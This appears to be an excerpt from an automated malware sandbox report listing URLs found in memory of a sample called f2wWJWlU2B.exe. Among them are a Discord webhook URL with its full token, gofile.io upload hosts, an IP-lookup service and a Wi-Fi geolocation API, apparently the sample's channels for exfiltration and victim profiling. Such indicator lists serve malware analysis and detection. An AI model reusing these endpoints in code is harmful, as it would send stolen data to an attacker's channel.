http://www.fontbureau.comessed	f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apiv2.gofi	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersuL	f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apiv2.gofile.io	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0	f2wWJWlU2B.exe, 00000000.00000003.319880191.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319668869.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320304529.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320180454.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.mylnikov.org	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-jones.html9	f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006563000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ascendercorp.com/typedesigners.html	f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discordapp.comD8Hp	f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://icanhazip.com	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.como.	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cnori	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/BI	f2wWJWlU2B.exe, 00000000.00000003.320768723.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319880191.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319668869.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320695026.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319251561.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320304529.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320180454.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320629837.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320515960.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318968459.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.320424299.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319163189.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.319441509.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Lodi	f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/	f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.come	f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/:I	f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers7Lp	f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpC3EF.tmp.dat.5.dr	false		high
http://www.jiyu-kobo.co.jp/tI	f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.como.)_	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.galapagosdesign.com/staff/dennis.htmsS	f2wWJWlU2B.exe, 00000000.00000003.327413426.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327541351.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Gras	f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apiv2.gofile	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	false		high
http://www.zhongyicts.com.cng	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store11.gofile.io/	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://en.w	f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	f2wWJWlU2B.exe, 00000000.00000003.314713633.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://user-images.githubusercontent.com/45857590/138568746-1a5578fe-f51b-4114-bcf2-e374535f8488.pn	f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.	f2wWJWlU2B.exe, 00000000.00000003.314713633.000000000654D000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comoitu	f2wWJWlU2B.exe, 00000000.00000003.345640936.0000000006550000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341629193.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345395761.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345937384.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.345107780.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/t	f2wWJWlU2B.exe, 00000000.00000003.318780991.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp//MS	f2wWJWlU2B.exe, 00000000.00000003.318606439.000000000654C000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.318356369.000000000654C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gofile.io	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000036D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comals	f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.mylnikov.org	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn%	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316145848.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316249183.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316024028.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315960781.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://icanhazip.comD8Hp	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000034E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.comn-u	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317669164.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.como.UY	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/runtime8	f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com4Hp	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033AA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	f2wWJWlU2B.exe, 00000005.00000003.446219875.0000000004447000.00000004.00000800.00020000.00000000.sdmp, tmpC904.tmp.dat.5.dr, tmpC3EF.tmp.dat.5.dr	false		high
http://www.tiro.com	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315960781.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/json	f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCk	f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000362E000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	f2wWJWlU2B.exe, 00000000.00000003.314495432.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314713633.000000000654D000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314578220.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com&K	f2wWJWlU2B.exe, 00000000.00000003.313088925.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312936366.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312987080.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cnC	f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
